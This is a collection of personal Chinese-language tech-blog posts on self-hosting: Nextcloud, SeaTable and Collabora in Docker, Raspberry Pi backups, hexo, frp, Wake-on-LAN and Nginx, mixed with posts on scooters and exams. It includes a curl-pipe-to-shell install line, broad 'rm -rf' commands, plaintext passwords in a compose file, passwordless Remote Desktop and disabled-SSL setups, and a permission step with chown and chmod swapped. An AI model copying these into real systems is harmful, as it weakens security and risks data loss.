可以访问:https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi 下载wsl_update_x64.msi文件,然后安装 四、又报另外一个错误 引发异常的上一位置中堆栈跟踪的末尾 重启下电脑解决 ### 抖音视频无水印批量下载 最近看抖音,发现了辛吉飞,看了他的短视频,以后都不敢买零食吃了。 都是科技和狠活。后面又听说辛吉飞账号要被注销了,这个得赶紧批量下载。 下面就是相关python安装和抖音视频批量无水印下载 一、安装python 从官网下载python安装程序 https://www.python.org/ftp/python/3.10.7/python-3.10.7-amd64.exe 二、下载TikTokDownload github项目:https://github.com/Johnserf-Seed/TikTokDownload 三、根据github上面的项目进行操作 修改两个文件conf.conf,conf.ini的uid为抖音个人主页的链接 双击TikTokMulti.py就可以下载 ### 听说辛吉飞账号要注销了,赶紧批量下载视频 ### 愿中国青年都摆脱冷气,只是向上走,不必听自暴自弃者流的话,能做事的做事,能发声的发声,有一分热,发一分光,就令萤火一般,也可以在黑暗里发一点光,不必等候炬火,此后如竟没有炬火,我便是唯一的光。 愿中国青年都摆脱冷气,只是向上走,不必听自暴自弃者流的话,能做事的做事,能发声的发声,有一分热,发一分光,就令萤火一般,也可以在黑暗里发一点光,不必等候炬火,此后如竟没有炬火,我便是唯一的光。 ----鲁迅 ### Seatable(开发版) + docker + Windows部署,官方文档特么是有问题的 部署一直失败,加了客服和微信群,没人解决。超级垃圾。百度其他文章,更特么离谱,复制黏贴官方文档。 问题一:不知道默认账号,文档就一句话云里雾里,都是占着茅坑不拉屎。 问题二:页面一直报:Page unavailable 问题三:官网文档不支持复制文字和代码 问题四:只能部署在Linux系统环境,Windows的docker部署有问题一,问题二(官方文档没说明)。 he,tui 忒么垃圾。就感觉根本没用心做产品。 部署步骤 创建一个docker-compose.yml文件夹 version: '2.0' services: db: image: mariadb:10.5 container_name: seatable-mysql environment: - MYSQL_ROOT_PASSWORD=aD288Uo2Xba8r6dv - MYSQL_LOG_CONSOLE=true volumes: - e:/seatable/mysql-data:/var/lib/mysql networks: - seatable-net memcached: image: memcached:1.5.6 container_name: seatable-memcached entrypoint: memcached -m 256 networks: - seatable-net redis: image: redis:5.0.7 container_name: seatable-redis networks: - seatable-net seatable: image: seatable/seatable-developer:latest container_name: seatable ports: - "82:80" - "8443:443" volumes: - e:/seatable/seatable-data:/shared environment: - DB_HOST=db - DB_ROOT_PASSWD=aD288Uo2Xba8r6dv - SEATABLE_SERVER_LETSENCRYPT=false - SEATABLE_SERVER_HOSTNAME=192.168.31.130 - TIME_ZONE=Asia/Shanghai - SEAFILE_ADMIN_EMAIL=506488043@qq.com - SEAFILE_ADMIN_PASSWORD=ntwhHvxGg32N8zda depends_on: - db - memcached - redis networks: - seatable-net networks: seatable-net: 用Windows PowerShell进入文件夹输入下面的命令行 docker-compose up docker-compose up -d # 启动 SeaTable 服务 docker exec -d seatable /shared/seatable/scripts/seatable.sh start # 创建一个管理员帐户 docker exec -it seatable /shared/seatable/scripts/seatable.sh superuser 输入命令行docker-compose up ,出现This is a idle script (infinite loop) to keep container running 时,就可以用Ctrl + C 结束。 后面就出现忒恶心的问题,没人解决 看看这个,就一句话,读者是神仙啊。默认账号特么不给,改配置项特么用个屁的原来账号。 真特么恶心。 ### 小牛M+ 都市版 满电52km,减震还行,骑着舒服,用了3年多,不是因为黄牌掉了,补办不了黄牌,才不会买九号mmax110p,太贵了。 九号 110P,后减震就是2根钢棍。可惜黄牌掉了。 ### 九号 Mmax 110P 出现的问题解决方法 1、❗ 行驶过程中突然断电 ✅ 解决方法:打开电池仓,里面有个空气开关,重新关闭,打开。就可解决 💢 原因:售后说是瞬时电压过高,跳闸了。这个不是个例,110P基本上都会有 使用了4个月,这个突然断电的问题没有了。 2、❗ APP看不到车的信息,里程不记录 ✅ 解决方法:直接电池上的电源线拔掉,等几分钟,重新插上解决 💢 原因:ECU模块需要重置。应该是由固件更新,需要重启。客服一直回避产品缺陷 3、❗ 离车时间长,然后靠近,不会自动连接蓝牙 💢 要打开手机app,电动车才能连接蓝牙,是2022-11月份更新版本后出现的问题。 💢 更新前,只要离车近,就会自动连接蓝牙。 💢 这个问题一直存在 4、❗ 时间不同步 ✅ 重置ECU ### 今天买了九号机械师Mmax 110P电瓶车 💢 因为车牌掉了,补不了车牌。 花钱买了110p,第一感觉比小牛M+都市版小了好多,一股廉价感。 九号APP没小牛APP好用,很多功能只能连接蓝牙才能获取。 买九号主要因为有ABS,之前下雨天骑小牛,遇到紧急情况,翻过几次车。 💔 一次翻车最严重,脚扭了,1个月才好,因为这次PMP延考一次,等了1年后,才考试。 还有九号避震太硬了,跟做拖拉机似的。 ✅ 九号给我的感觉就是外壳廉价感,避震太硬,APP功能不好用,一些电动车的信息不能跟小牛一样获取,表现速度25往上就不显示了,得买个码表,最后1个就是价格太贵。 ### 杭州非标(超标)电动车 2023年1月1日应该是要淘汰了 买的小牛M+都市版,19年买的,今年算是电轻摩。 到2023年1月1日,应该是要被淘汰,不让骑了,白牌是这样。 不知道黄牌的是不是也是2023年1月1日不能上路。 买3000到4000的新国标,又骑得不远,速度又慢,还有2个脚踏,真恶心。 还有燃油车国6B要出来了,可怜国五车是不是也要淘汰了。 国内的这些出台的标准真的是,哎。 ### Nextcloud +You may use your browser or the occ upgrade command to do the upgrade 输入命令行进行手动升级 docker exec -it --user www-data nextcloud php occ upgrade ### PMP考试通过了 还好通过了,刚好经历1年,一次延迟考试。 不过考试不理想1A 2B。考试前没要求3A,考试后哎呀怎么没3A。 ### nextcloud:Not a directory in /var/www/html/3rdparty/composer/autoload_real.php on line 重新nextcloud容器 百度是说内存溢出 ### NextCloud搭建和优化(未解决问题)集合 1、nextcloud部署和优化 NextCloud + Docker 部署 nextcloud+ 后台任务 Cron + Windows +docker nextcloud + docker 优化 2、nextcloud插件 Nextcloud + Collabora Office 3、nextcloud未解决问题 nextcloud 登录页面乱码 4、其他(时间久了有可能失效) NextCloud+MySQL+PHP+Nginx+Raspberry Pi OS Ubuntu搭建Nginx-Nextcloud环境 树莓派安装nextcloud个人私有云服务器 解决Nextcloud上传文件报413错误 Nginx代理apache2折腾笔记 ### NextCloud + Docker 部署 docker run --name nextcloud --restart=always -p 8080:80 -v D:/nextcloud/data:/var/www/html/data -v E:/nextcloud/html:/var/www/html -d nextcloud:24.0.3 说明: 1)--name nextcloud:docker名称 2)--restart=alway: 重启docker 自动启动nextcloud 3)-p 8080:80:把nextcloud端口80,透传到6001,局域网就可以用IP:6001访问nextcloud 4)-v D:/nextcloud/data:/var/www/html/data:D:/nextcloud/data为Windows 的文件夹,/var/www/html/data为docker nextcloud 的data文件,这个是存放上nextcloud上传的文件。 5)-v D:/nextcloud/html:/var/www/html:html文件,这里面有config.php,apps(插件文件) 6)nextcloud:24.0.3:docker 拉取的 nextcloud版本(24.0.3) ### nextcloud 登录页面乱码 nextcloud 这个星期发现登录页面乱码,docker 重启了好几次,才解决了这个问题。 然后无意间发现,是因为安装了笔记的插件,只要点击笔记,就乱码,还有可能是跟快速笔记同时安装的问题。 应该就是这个插件 先卸载试试,过一个星期看看是不是还会乱码。 有可能是内存不足。 ### 鱼缸问题-养鱼问题 Q1:鱼缸里倒啤酒,牛奶 不然鱼缸缺氧,鱼多会游在水面上,除非过滤器效果好,或者氧气泵充足。 时间长了会因为没力气,被过滤器吸走,或者在鱼缸底下因为缺氧挂了。 解决办法,换掉鱼缸水的三分之一。 Q2:水偏黄,或者偏绿 鱼缸水偏黄,鱼粮问题,鱼缸里没有沉木。 鱼缸水偏绿,也是鱼粮问题。 解决办法是买蛋白棉放到过滤桶里,几个小时就有效果 Q3:鱼缸玻璃有绿藻 目前放了小精灵鱼,苹果螺,彩蛋螺,效果不明显。 小精灵鱼放进鱼缸时间不长,不活动。 彩蛋螺现在吃石头上的。 苹果螺已经快爆缸,用手捏,当做鱼粮算了。 Q4:鱼缸突然少几条鱼 有可能跳鱼缸了,今天移动藻球,鱼吓的跳缸。 跳到鞋柜后面,鞋柜不能移动,挂了。 或者挂了,被过滤器吸走了,要不就是被其他鱼给吃了。 Q5:虾跳缸 之前买了好几条虾,都是跳缸,这个有可能是水质问题。 也许是食肉鱼吃虾,吓着跳缸了。这个没法解决 ### nextcloud + docker 优化(redis + ffmpeg + MySQL) 一、更新数据源 // 更新数据源 docker exec -it --user root nextcloud sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list docker exec -it --user root nextcloud apt-get update 二、数据库优化 // 数据库 docker exec --user www-data -it nextcloud php occ db:add-missing-indices // 解除上传限制(不是文件大小,是上传速度) docker exec --user www-data -it nextcloud php occ config:app:set files max_chunk_size --value 0 三、redis安装 // redis docker exec --user root -it nextcloud apt install redis 四、libmagickcore、ffmpeg安装 // 视频和图片预览 // 此实例中的 php-imagick 模块不支持 SVG。为了获得更好的兼容性,建议安装它。 docker exec --user root -it nextcloud apt install libmagickcore-6.q16-6-extra docker exec -it --user root nextcloud apt-get -y install ffmpeg wordpress配置文件添加下面的配置,config.php 放在在最后一个);之前 // 然后配置文件添加下面的配置 'enable_previews' => true, 'enabledPreviewProviders' => array ( 0 => 'OC\\Preview\\PNG', 1 => 'OC\\Preview\\JPEG', 2 => 'OC\\Preview\\GIF', 3 => 'OC\\Preview\\HEIC', 4 => 'OC\\Preview\\BMP', 5 => 'OC\\Preview\\XBitmap', 6 => 'OC\\Preview\\MP3', 7 => 'OC\\Preview\\TXT', 8 => 'OC\\Preview\\MarkDown', 9 => 'OC\\Preview\\OpenDocument', 10 => 'OC\\Preview\\Krita', 11 => 'OC\\Preview\\Movie', ), 生成预览图 sudo -u www-run php /var/www/nextcloud/occ preview:generate-all -vvv 添加cron crontab -u www -e */10 * * * * php /var/www/nextcloud/occ preview:pre-generate -vvv 2023-05-20 root@95f3cb7f88e0:/var/www/html# php /var/www/html/ occ preview:pre-generate -vvv root@95f3cb7f88e0:/var/www/html# 五、改为国内应用市场 #改为国内应用市场 'updater.release.channel' => 'stable', 'appstoreenabled' => true, 'appstoreurl' => 'Nextcloud', 六、开启缓存 #开启缓存,分类型同时使用APCU和REDIS。 'memcache.local' => '\\OC\\Memcache\\APCu', 'filelocking.enabled' => true, 'memcache.locking' => '\OC\Memcache\Redis', 'memcache.distributed' => '\OC\Memcache\Redis', 'redis' => [ 'host' => 'localhost', 'port' => 6379, ], 七、设置默认电话区域 #默认电话区域 'default_phone_region' => 'CN', ### PMP成绩还没出来 等的好焦虑,到现在成绩还没出来。 今天看群里有个查询成绩的网址,记录下。 https://ccrs.pmi.org/reporting/examanalysis 登录就可以查询 感觉要重新考。 ### 小蚁微单说明书 1656257467-weidan-instructions下载 ### 昨天终于参加第一次的PMP考试 ⚒️ PMP考试延期 本应该去年3月份考试的,因为下雨骑电瓶车翻车,腿受伤,申请缓考。 又因为疫情一直延期到今年考试。 💦 PMP备考 学习断断续续,知识点太多。每次模拟考试都是120~130分。 🤷‍♂️ PMP考试 不过这次考试感觉还是不行。 做180题是一个体力活,几乎一分半一道题,还没时间去检查。 希望这次考试能过,不要求3A了。 接下来就是准备公司的可信考试,软考,教师资格证的考试, ### Collabora Office + nextcloud 快速部署 运行Collabora Office docker容器,并去掉https验证 docker run -t -d -p 9980:9980 --name collabora -e "extra_params=--o:ssl.enable=false" collabora/code 2、nextcloud 下载Collabora Office,并配置Collabora Office 3、效果 4、设置外网访问Collabora Office docker 需要加上'domain=47.98.182.185|192.168.31.68|192.168.31.130' 说明Windows 的 CMD会报错 得用Windows powershell 就是因为这个公网一直不能用,只能在内网使用'domain=127.0.0.1|www.baidu.com'Collabora Office。公网一直不能用。 5、Collabora Office的控制台 http://127.0.0.1:9980/browser/dist/admin/admin.html Quick tryout with Nextcloud docker   Learn all the ins and outs of CODE You can try CODE in 5 minutes with Nextcloud following these basic steps: Find out the IP address of your computer, e.g. 192.168.100.20 Run Nextcloud from docker:docker run -d -p 80:80 nextcloud In your browser go to http://192.168.100.20 and set up your Nextcloud. In Nextcloud go to Apps – Office and Text, and install Collabora Online app. Run CODE from docker:docker run -t -d -p 9980:9980 -e "extra_params=--o:ssl.enable=false" collabora/code Set up the Collabora Online server in Nextcloud Settings – Collabora Online to http://192.168.100.20:9980 Note 1: Of course, this is only good for a quick look at the features, it is not for production by any means. Note 2: Do not use localhost or 127.0.0.1 instead of IP address of your computer, because these addresses do not resolve from the containers. This means not only not using it for the address of Collabora Online configured in Nextcloud, but also for the URL you connect to in the browser to test. ### 树莓派 Linux系统自动压缩文件,备份到外置硬盘 因为昨天一个命令行把docker文件夹都删了,丢了好多数据。 所有买了个外置硬盘插到树莓派上,写个脚本自动备份到外置硬盘上。 这样就不怕误删的问题了。 1、备份脚本 新脚本 #!/bin/bash # 设置变量 MNT_256G_DOCKER_PATH="/mnt/256G/docker" MNT_1T_PATH="/mnt/1T" DATE=$(date +"%Y-%m-%d") ARCHIVE_NAME="$DATE.tar.gz" ARCHIVE_PATH="$MNT_1T_PATH/$ARCHIVE_NAME" # 计算 /mnt/256G/docker 中的文件和文件夹总数 total_files=$(find $MNT_256G_DOCKER_PATH -type f | wc -l) total_dirs=$(find $MNT_256G_DOCKER_PATH -mindepth 1 -type d | wc -l) # 如果总文件数和文件夹为零,则无需压缩 if [ $total_files -eq 0 ] && [ $total_dirs -eq 0 ]; then echo "没有文件或文件夹需要压缩。" exit 0 fi # 开始压缩并计时 echo "开始压缩 /mnt/256G/docker 到 $ARCHIVE_PATH..." start_time=$(date +%s) tar -czf $ARCHIVE_PATH -C $MNT_256G_DOCKER_PATH . & pid=$! # 等待压缩完成,同时显示时间 while kill -0 $pid 2>/dev/null; do current_time=$(date +%s) elapsed_time=$((current_time - start_time)) echo -ne "已压缩时间: ${elapsed_time} 秒\r" sleep 1 done wait $pid # 等待后台压缩进程结束 tar_status=$? echo -ne "已压缩时间: ${elapsed_time} 秒\n" # 检查压缩是否成功 if [ $tar_status -eq 0 ]; then echo "压缩成功完成。" # 删除 /mnt/256G/docker 文件夹里的压缩包 echo "正在删除 /mnt/256G/docker 中的原始压缩包..." find $MNT_256G_DOCKER_PATH -name '*.tar.gz' -type f -delete echo "原始压缩包已删除。" else echo "压缩失败。" fi 旧脚本 #!/ibin/bash cd /home rm -rf *.tar tar -cvf aliyun.tar aliyun tar -cvf bitwarden.tar bitwarden tar -cvf frp.tar frp tar -cvf heimdall.tar heimdall tar -cvf hexo.tar hexo tar -cvf homeassistant_data.tar homeassistant_data tar -cvf ql.tar ql tar -cvf shell.tar shell tar -cvf wiz.tar wiz tar -cvf redis.tar redis cd /media/saiita/ZHITAI PSSD Jupiter10 512GB/docker_bak rm -r * mv /home/*tar /media/saiita/ZHITAI PSSD Jupiter10 512GB/docker_bak 2、crontab 添加定时任务 进入crontab crontab -e 添加定时任务 0 3 * * * /home/shell/bak.sh ### 解决hexo g报错 报错内容 WARN YAMLException: please see https://github.com/hexojs/hexo/issues/4917 FATAL TypeError: Cannot read properties of undefined (reading 'length') at composeNode (/home/hexo/blog/node_modules/hexo/node_modules/js-yaml/lib/loader.js:1492:60) at readBlockMapping (/home/hexo/blog/node_modules/hexo/node_modules/js-yaml/lib/loader.js:1104:12) at composeNode (/home/hexo/blog/node_modules/hexo/node_modules/js-yaml/lib/loader.js:1441:12) at readDocument (/home/hexo/blog/node_modules/hexo/node_modules/js-yaml/lib/loader.js:1625:3) at loadDocuments (/home/hexo/blog/node_modules/hexo/node_modules/js-yaml/lib/loader.js:1688:5) at Object.load (/home/hexo/blog/node_modules/hexo/node_modules/js-yaml/lib/loader.js:1714:19) at Hexo.yamlHelper (/home/hexo/blog/node_modules/hexo/lib/plugins/renderer/yaml.js:20:15) at Hexo.tryCatcher (/home/hexo/blog/node_modules/bluebird/js/release/util.js:16:23) at Hexo. (/home/hexo/blog/node_modules/bluebird/js/release/method.js:15:34) at /home/hexo/blog/node_modules/hexo/lib/hexo/render.js:81:22 at tryCatcher (/home/hexo/blog/node_modules/bluebird/js/release/util.js:16:23) at Promise._settlePromiseFromHandler (/home/hexo/blog/node_modules/bluebird/js/release/promise.js:547:31) at Promise._settlePromise (/home/hexo/blog/node_modules/bluebird/js/release/promise.js:604:18) at Promise._settlePromise0 (/home/hexo/blog/node_modules/bluebird/js/release/promise.js:649:10) at Promise._settlePromises (/home/hexo/blog/node_modules/bluebird/js/release/promise.js:729:18) at _drainQueueStep (/home/hexo/blog/node_modules/bluebird/js/release/async.js:93:12) at _drainQueue (/home/hexo/blog/node_modules/bluebird/js/release/async.js:86:9) at Async._drainQueues (/home/hexo/blog/node_modules/bluebird/js/release/async.js:102:5) at Immediate.Async.drainQueues [as _onImmediate] (/home/hexo/blog/node_modules/bluebird/js/release/async.js:15:14) at processImmediate (node:internal/timers:466:21) root@raspberrypi:/home/hexo/blog# npm i hexo@6.0.0 解决办法 npm i hexo@6.0.0 ### 解决github报: Support for password authentication was removed on August 13, 2021. Please use a personal access token instead.问题 登录github 头像选择settings Developer settings Personal access tokens 创建token Expiration,选择Expiration select scopes 选择repo,workflow,delete_repo 点击创建,genetate token 复制生成的token 树莓派 Linux输入下面的命令行 git remote set-url origin https://@github.com//.git 就可以直接用git push 把代码推送到github上 ### hexo npm 软件更新 # 使用淘宝源的 cnpm 替换 npm npm install -g cnpm --registry=https://registry.npm.taobao.org # 升级 npm cnpm install -g cnpm # 清除 npm 缓存 cnpm cache clean -f ===更新 hexo: 进入 blog 目录,执行如下命令=== # 更新 package.json 中的 hexo 及个插件版本 # 检查之前安装的插件,都有哪些是可以升级的 cnpm install -g npm-check # 升级系统中的插件 cnpm install -g npm-upgrade npm-check npm-upgrade # 更新 hexo 及所有插件 cnpm update # 确认 hexo 已经更新 hexo -v ### nextcloud+ 后台任务 Cron + Windows +docker 1、nextcloud的Cron 不知道nextcloud的Cron刚啥用的,每次看着失败有点不爽。 然后百度到的解决方法,要CMD执行命令行才能刷新nextcloud。 然后创建了bat,一天开机执行一次,毕竟Windows 服务器晚上关闭一段时间,不用的时候电脑睡眠,省点电。 创建一个nextcloud.bat,放到Windows开机启动的文件夹(C:UsersChengAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup)里就可以了。 早上8点开机执行一次。 @ECHO OFF docker exec --user www-data -it nextcloud php /var/www/html/cron.php EXIT --user www-data意思是以用户www-data执行 名称为nextcloud容器的php /var/www/html/cron.php命令行 2、nextcloud页面优化(redis+ APCu) 加了redis + APCu + docker,然后把HTML文件夹放到了SSD硬盘里。 然而并没有什么卵用,页面还是半天加载不出来 3、其他优化 因为要节省电费。 把Windows电脑上的docker服务迁移到了树莓派上,应该能节省一部分电费。 记录下迁移和nextcloud优化 1、Windows docker的wiz迁移到了树莓派 2、nextcloud的data数据文件夹放到了机械硬盘,HTML文件夹放到了固态硬盘,添加redis + APCu + docker 3、解决nextcloud 后台Cron,数据库什么4字符啥的等问题 4、hexo(saiita.cn)博客迁移到树莓派,自动开机启动,并备份到GitHub。项目管理学习笔记(pmp.saiita.cn)还是在Windows上,因为没人会访问 5、Windows docker的frp也迁移到了树莓派上 ### hexo 迁移到树莓派遇到大坑 之前放在hexo是放在Windows 里的,文章里没加data字段。 然后这个星期把hexo博客迁移到了树莓派,发现网站发布文章的日期都是今天的。 还得一篇一篇加data时间,还好文章不多。 记下笔记。 title: 太子湾公园附近 date: 2021-02-22 category: - 杭州周边旅游景点 - 太子湾公园附近 tags: - 太子湾公园附近 搞了个树莓派重启自动运行hexo 脚本,并自动上传文件到GitHub(防止树莓派崩了) 首先是创建启动hexo 脚本 脚本 #!/bin/bash echo "执行hexo" USER=$(whoami) pid=$(ps -ef | grep hexo | grep -v grep | awk 'NR==1 {print $2}') kill ${pid} cd /home/hexo/blog hexo g # 自动同步到github git config --global user.email "email" git config --global user.name "name" #git checkout -b master git add . git commit -m "更新hexo" git push -u origin +master nohup hexo server & git命令行执行,git配置GitHub可以百度 echo "# hexo_saiita.cn" >> README.md git init git add README.md git commit -m "first commit" git branch -M main git remote add origin https://github.com/a506488043/hexo_saiita.cn.git git push -u origin main 然后在 /etc/rc.local文件exit 0之前, 添加执行脚本的命令行(su saiita -c "exec /home/shell/auto.sh" ) #!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. # Print the IP address _IP=$(hostname -I) || true if [ "$_IP" ]; then printf "My IP address is %sn" "$_IP" fi # 开启hexo su saiita -c "exec /home/shell/auto.sh" exit 0 ### NextCloud+MySQL+PHP+Nginx+Raspberry Pi OS 1、PHP安装 sudo apt-get install php7.4-* 2、下载NextCloud,并解压 下载nextcloud,解压。 创建data文件夹,并设置 777 设置 nextcloud 用户组合用户为 www-data cd /home wget https://download.nextcloud.com/server/releases/nextcloud-24.0.1.tar.bz2 tar xvf nextcloud-24.0.1.tar.bz2 cd /home mkdir data chown 777 data cd .. chmod -R www-data:www-data /home/nextcloud 3、Nginx配置 按照下面文章配置,把下面的配置项放到nextcloud文件下面 Nginx配置多个网站 # nextcloud Nginx配置 server { listen 80 default_server; listen [::]:80 default_server; # SSL configuration # # listen 443 ssl default_server; # listen [::]:443 ssl default_server; # # Note: You should disable gzip for SSL traffic. # See: https://bugs.debian.org/773332 # # Read up on ssl_ciphers to ensure a secure configuration. # See: https://bugs.debian.org/765782 # # Self signed certs generated by the ssl-cert package # Don't use them in a production server! # # include snippets/snakeoil.conf; root /home/nextcloud; # Add index.php to the list if you are using PHP index *.php; server_name _; location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ =404; } # pass PHP scripts to FastCGI server # location ~ .php$ { include snippets/fastcgi-php.conf; # # # With php-fpm (or other unix sockets): # fastcgi_pass unix:/run/php/php7.4-fpm.sock; # # With php-cgi (or other tcp sockets): # fastcgi_pass 127.0.0.1:9000; fastcgi_split_path_info ^(.+.php)(.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass unix:/run/php/php7.4-fpm.sock; } # deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /.ht { # deny all; #} } 4、MySQL sudo apt-get install mysql* 登录MySQL sudo mysql -u root -p 修改root密码 注释掉sudo vim /etc/msyql/mariadb.conf.d/50-server.cnf 配置文件的bind-address =127.0.0.1 重启MySQL sudo service mysql restart MySQL工具登录,创建nextcloud数据库 5、浏览器输入nextcloud服务器IP ### Nginx 配置多个网站 一直用宝塔搭建相关网站,已经用废了。 徒手配置Nginx有点费劲,然后百度,特么都是啥,乱七八糟的。 百度了好久终于搞定了,得记下笔记。 用的是树莓派的官方系统,应该跟其他Linux相似。 下面就是相关Nginx(nginx version: nginx/1.18.0)的配置 1、安装Nginx服务 sudo apt-get install nginx 2、添加配置网站的配置文件 Nginx路径 cd /etc/nginx 要添加网站配置文件的话,有两个文件夹 sites-available(可用站点),sites-enabled(已启用站点)。 首先要在sites-available文件夹下(文件夹下有个默认的配置文件default),添加一个网站配置文件。 比如nextcloud sudo vim nextcloud 把nextcloud相关Nginx配置保存到nextcloud中 然后软链接到sites-enabled文件夹(文件夹路径必须是绝对路径,否则重启Nginx会报错-40: Too many levels of symbolic links) sudo ln -s /etc/nginx/sites-available/nextcloud /etc/nginx/sites-enabled/ 最后重启Nginx sudo systemctl restart nginx 访问网站,就结束了 ### 树莓派开机自动启动frp 1、创建frpc.service文件,并输入下面配置项 创建frpc.service sudo vim /lib/systemd/system/frpc.service 配置项 [Unit] Description=frpc After=multi-user.target [Service] TimeoutStartSec=10 RestartSec=30s Restart=always ExecStart=/home/frp/frpc -c /home/frp/frpc.ini ExecStop=/bin/kill $MAINPID [Install] WantedBy=multi-user.target 2、执行更新服务文件 sudo systemctl daemon-reload 3、设置开机启动 sudo systemctl enable frpc 4、其他命令行 开启 sudo systemctl start frpc 关闭 udo systemctl stop frpc 查看状态 sudo systemctl status frpc 设置开机不启动 sudo systemctl disable frpc ### 树莓派4B 4G安装docker 脚本安装 sudo curl -sSL https://get.docker.com | sh 安装好后查看启动状态 service docker status ### 树莓派扩容 买了256G V30的内存卡。 旧的内存卡(64G)迁移到了新的内存卡上。发现还有180个G没用 得操作扩容下 下面就是相关扩容操作,操作系统是raspios,使用的是树莓派系统自带的工具。 不知道其他操作系统怎么扩容 扩容操作步骤 1、输入命令行 sudo raspi-config 2、找到 Advanced Options Configure advanced settings 3、选中Expand Filesystem,点击确定,Finsh,reboot 4、重启后查看硬盘 df -h ### 树莓派如何把TF卡迁移到另外一张TF卡(内存卡) 💥 操作过程中时间比较长,都快2个小时了。 ✅ 64G扩容到256G,会有180G左右没被分配,得按照下面的文章进行扩容 树莓派扩容 - SaiitaのBlog 树莓派扩充内存卡容量 下面就是迁移的操作 1、取出树莓派内存卡,插入电脑上 2、电脑上创建一个PI.img文件(img格式的文件) 3、用Win32DiskImager软件打开PI.img 设备选择树莓派的内存卡盘符 4、Win32DiskImager软件点击读取,选择Yes 等待读取完 5、插入新的TF卡,用Win32DiskImager把PI.img文件写入新的TF卡 6、新的TF卡插入树莓派开机 ### Windows 设置远程桌面无密码账号登录 电脑因为设置了网络唤醒服务,需要设置无密码账号登录。 然后远程登录发现原先设置的远程桌面登录不了,密码空格也登录不了。 所有要设置无密码账号登录远程桌面。 下面是设置无密码账号登录Windows的远程桌面 1、输入gpedit.msc命令行进入本地组策略编辑器 键盘按Ctrl+R,输入gpedit.msc,回车 2、本地组策略编辑器 按照计算机配置-Windows设置-安全设置-本地策略-安全选项-账号:使用空密码的本地账号只允许进行控制套登录 账号:使用空密码的本地账号只允许进行控制套登录选择已禁用 ### hexo配置robots.txt 1、hexo添加robots.txt 创建一个robots.txt文件,然后输入下面的配置 # hexo robots.txt User-agent: * Allow: / Allow: /archives/ Disallow: /vendors/ Disallow: /js/ Disallow: /css/ Disallow: /fonts/ Disallow: /vendors/ Disallow: /fancybox/ Sitemap: http://www.saiita.cn/sitemap.xml Sitemap: http://www.saiita.cn/baidusitemap.xml 2、把robots.txt文件放入到public文件夹下面 ### 树莓派(Raspberry Pi Desktop)部署定时网络唤醒(WOL) + 定时任务(crontab) + Windows自动关机 部署网络唤醒原因 家里的追风者P600S机箱安装了2个主板,一个ITX主板作为家用服务器,一个ATX主板作为日常使用。 ITX主板之前是24小时工作,晚上也开着。 感觉挺浪费电,所以利用闲置的树莓派4B 4G主板,加上刚买的树莓派外壳(支持PWM风扇,有开关键,前置USB),设置好之后可以根据温度控制转速。 树莓派4B 3G 然后树莓派上部署crontab的定时任务去执行网络唤醒服务。就完美解决了家用服务器不需要24小时开机。 做下笔记,省的后面需要用到 树莓派使用的是64 位的Raspberry Pi Desktop系统。系统安装好后,可以直接使用cron 一、设置crontab 首先设置crontab开机自动启动 systemctl is-enabled cron.service 查看cron状态 service cron status 如果状态是失败的可以使用下面的命令行,启动cron service cron start 二、设置网络唤醒脚本 创建一个sh文件 vim etherwake.sh 然后输入下面的脚本代码,D1:B2:C3:74:F3:95为电脑的MAC地址 可以在cmd 输入ipconfig /all 查看mac,要找与路由器一样的ip,查看物理地址 Windows 显示的是D1-B2-C3-74-F3-95,要改成为D1:B2:C3:74:F3:95 #!/bin/bash sudo etherwake D1:B2:C3:74:F3:95 # 或者这个 sudo wakeonlan A0:36:BC:26:F1:11 保存退出 :wq 3、设置crontab 进入编辑crontab crontab -e 在最后一行输入(每天早上7:00 执行设置好的网络唤醒服务),按下键盘的PgDn,翻到最下面,在最后一行填入0 7 * * * /home/shell/etherwake.sh 0 7 * * * /home/shell/etherwake.sh 然后按照顺序 Ctrl+X,Y,Ctrl+M,退出crontab并保存 crontab使用说明 4、设置Windows 定时自动执行关机 打开控制面板,查看方式选择-大图标,找到管理工具 Windows 11 控制面板是Windows 工具 然后选择 任务计划程序 点击创建基本任务 输入名称-定时关机任务 输入描述: 下一步,选择每天 选择每天那个时间执行,每天执行几次 操作,选择启动程序 输入关机脚本,执行脚本一分钟后关机 C:Windowssystem32shutdown.exe -s 点击下一步,选择是。 选择否,关机命令行会加上双引号。执行会出问题。 点击完成,然后查看效果 5、Windows 电脑 设置重启后无密码登录 要把账号切换到本地账号,然后设置无密码登录 不设置无密码登录,电脑上的自动开机程序会不运行,今天早上就遇到了,电脑倒是被唤醒开机了。 但是hexo和docker没启动,导致没运行。 ### Windows 10 (11)开启网络唤醒(远程开机-WOL:Wake On Lan)功能 1、控制面板,开启唤醒魔包 Windows 10桌面右下角,点击网络图标,点击网络和Internet设置 设置的左边工具栏,点击以太网,然后点击更改适配器选项 找到以太网,点击右键-属性 点击配置 点击高级,找到唤醒魔包(Wake on Magic Packet),值选择启用(Enabled) 然后选择电源管理,勾上允许计算机关闭次设备以节约电源(A)和允许此设备唤醒计算机(O) 2、主板开启网络唤醒设置 【教程】华硕主板怎么开启网络唤醒 - SaiitaのBlog 华硕主板开启网络唤醒 3、Windows 11设置 WOL Windows 10 和 Windows 11 设置WOL流程一样。 ### WordPress 图片路径有i0.wp.com,导致图片加载很慢原因 现象 原因是安装的Jetpack启用了站点加速器,关闭即可。 还有Jetpack 插件和Autumn-Pro有冲突。只能卸载jetpack插件了 ### Windows 10 桌面图标右键 资源管理未响应问题解决办法 上个星期把电脑风扇换了,开机后发现桌面图标右键会未响应很久。使用体验很差。 经过系统更新,重启后,解决不了。百度后发现一个解决办法,就是修改注册表。 把问题解决的方法记录下,不知道是不是因为修改了注册表,问题就解决了。 解决步骤: 电脑搜索框,输入注册表 按照路径:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRpcSs 找到Start,选择十六进制输入00000002。 电脑重启 ### Windows for docker 设置加速 打开docker设置,Docker Engine 输入下面的配置,添加 "registry-mirrors": [ "https://telvr77k.mirror.aliyuncs.com" ] 完整配置 { "builder": { "gc": { "defaultKeepStorage": "20GB", "enabled": true } }, "experimental": 